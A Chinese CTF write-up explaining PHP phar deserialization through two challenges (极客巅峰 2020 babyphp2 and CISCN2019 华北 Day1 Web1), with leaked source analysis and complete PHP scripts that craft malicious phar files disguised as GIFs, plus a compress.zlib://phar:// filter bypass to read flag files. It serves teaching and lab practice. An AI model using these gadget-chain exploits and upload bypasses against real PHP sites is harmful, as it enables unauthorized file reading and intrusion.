极客巅峰 2020 babyphp2(phar反序列化)


前言

这题比赛的时候,我一脸懵逼,大佬提示才知道源码泄露。但是之前没做过 phar 反序列化的题,二脸懵逼。还好源码没删,自己搭建了环境,看着大佬们的wp复现一番。点击打开题目 最近学的 docker,不熟练,问题不断,如果环境有问题随时联系我, VPS 20年12月10号过期,望见谅。


一、什么是 phar 反序列化

利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。phar简介


下面参考Tr0jAn大佬的文章

1.三个条件

  1. 可以上传 phar 文件
  2. 有可以利用的魔术方法
  3. 文件操作函数参数可控

2.生成 phar 文件的常见代码

 $phar = new Phar("phar.phar");

生成 phar 文件,文件名任意,但是扩展名必须是 phar,生成之后可以任意更改

 $phar->startBuffering();
 $phar->stopBuffering();

不是很明白什么意思,仅仅认识 start 和 stop 两个单词,大概是对 phar 对象的操作都在这中间,类似于 打开文件流—>操作文件—>关闭文件流??

$phar->setStub("<?php __HALT_COMPILER(); ?>");

如名,设置 stub,php 以 __HALT_COMPILER(); 来识别 phar ,前面可以有任意数据,php 仅从此开始识别

$phar ->addFromString('test.txt','test'); 

不是很懂这个到底什么用,但是我看了每份代码都有,而且 test.txt 并不一定需要存在

$c = new test();
$phar -> setMetadata($c);  //将自定义 meta-data 存入 manifest

这是重点,$c 将以序列化的形式保存在 phar 文件中
phar文件

二、题目分析

下载源码

源码在 web 目录下的 www.zip 中,直接访问下载源码
在这里插入图片描述

classes.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

首先是 Reader 类,看到 file_get_contents() 可以想到文件读取,利用 read方法 中的 file_get_contents() 读取 phar 文件,反序列化后执行 __set() 中的 file_get_contents() 读取 flag

那么问题就变成了如何执行 __set() 方法

这时候看 User 类中的 __toString() 方法 ,里面有这么一句$this->nickname->backup=$this->backup; 给类对象一个私有属性或不存在的属性赋值时,如果存在 __set() 方法,那么就会执行该方法

__set() 类似的还有
__get(),调用私有属性或不存的属性时,执行该方法
__call() ,如果调用的方法不存在时,就会执行该方法

那么就好办了,只要执行 User 类的 __toString() 方法,并将 $bickup 赋值为 /flag 就能得到 flag

那么如何执行 __toString() 呢? 可以看到 dbCtrl 类,中有个 echo ,如果能 echo 类的对象,就能触发类中的 __toString() 方法,所以将 dbCtrl 类中的 token 属性赋值为 User 类的对象,那么就大功告成了

能触发 __toString() 的有 echo print printf 等,
var_dump print_r 等则不能触发

生成 phar 文件

来自Tr0jAn大佬,这应该已经是最简洁的了,我就不献丑了吧

<?php
Class Reader{}
Class User{
    public $nickname;
    public $backup="/flag";
}
class dbCtrl{
    public $token;
}
$a = new Reader();
$b = new User();
$b->nickname = $a;
$c = new dbCtrl();
$c->token = $b;

$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件
$phar -> setMetadata($c);  //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();

将 php.ini 中 phar.readonly 的值改为 Off ,去掉前面的注释符 ‘;’,即 phar.readonly=Off,运行该代码,可生成 phar 文件,将扩展名改为 gif,如图
phar文件

执行反序列化

在源码泄露中,还可以看到 web 下有 upload 页面和 read 页面
upload 中就一些简单的过滤,绕过已经在前面做了,不是重点
主要看 read,read 中调用了 classes.php 中的 Reader 类的 read() 方法,对传入的 $filename 值进行了过滤,可以看到,$filename 不能以 phar 开头

但是可以使用 compress.zlib://phar:// 去访问 phar 文件
在这里插入图片描述
在 upload.php 上传文件得到路径
在这里插入图片描述
在 read.php 读取 phar.gif,得到 flag

在这里插入图片描述

三、趁热打铁(buu [CISCN2019 华北赛区 Day1 Web1])

任意文件读取

注册登陆,来到一个文件上传的页面,随便上传一个文件,出现了文件列表,并提供了 下载删除 操作

联想到任意文件读取,点击 下载 并抓包,如图更改 filename 的值,读取 index.php
在这里插入图片描述
根据提示,继续读取 class.php 以及 download.php 和 delete.php

class.php

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

File 类的 close() 方法存在敏感函数,file_get_contents($this->filename),查看一下哪里调用了 close()

在这里插入图片描述
在User类的魔术方法 __destruct() 中
在这里插入图片描述
容易想到

创建 File 类的对象,并将 filename 赋为 /flag.txt,然后创建一个 User 类的对象,将 File 的对象赋给 User 的属性 db

乍一想,好像没毛病,但是会发现没有任何回显,因为虽然虽然得到了文件内容,但是并没有输出函数将它输出,

继续分析 class.php,看到 FileList 类有个魔术方法 __call(),刚好$this->db->close();可以触发该魔术方法

在这里插入图片描述
FileList 类的另一个魔术方法 __destruct(),存在 class.php 中的唯一输出
在这里插入图片描述
代码比较多,整体分析一下 FIleList 类
先看__construct()
在这里插入图片描述
__construct() 的重点在创建了一个一维数组和一个二维数组,其中 files 存的是 属性filename被赋值了的File类 ,理清楚 FileList 的属性是什么类型之后再看 __call() 方法就很简单了
在这里插入图片描述
注释中写得很清楚,如果 $func 是 close,$filename 是 /flag.txt 的话会发生什么呢,结果已经显而易见了

再来看看 __destruct()
在这里插入图片描述
可以看到,他最终会显示二维数组 results 的值,而 results 的值根据前面分析应该是 $func($filename) 的结果

生成 phar 文件

<?php

class User {
    public $db;
}

class FileList {
    private $files=array();
	function __construct(){
		$file = new File();
		array_push($this->files,$file);
	}
}

class File {
    public $filename = '/flag.txt';
}

$user = new User();
$filelist = new FileList();

$user->db = $filelist;

$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar ->addFromString('test.txt','test'); 
$phar -> setMetadata($user); 
$phar -> stopBuffering();
rename('Phar.phar','Phar.gif');

?>

get flag

可以看到 delete.php 调用了 File 类的 delete() 方法,而 delete() 方法使用了 unlink() 函数,该函数可以可用来执行 phar 反序列化,参考之前提到的这篇文章 phar简介
在这里插入图片描述

在这里插入图片描述
上传生成文件的 phar 文件,点击 删除 选项并抓包,修改 filename 如下,成功返回 flag
在这里插入图片描述

四、总结

其实和普通的反序列化也没什么区别,不过要以 phar 文件为踏板,达到反序列化的目的,关键是要能上传和用 phar 协议访问 phar 文件

萌新一个,望大佬们多多指点

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值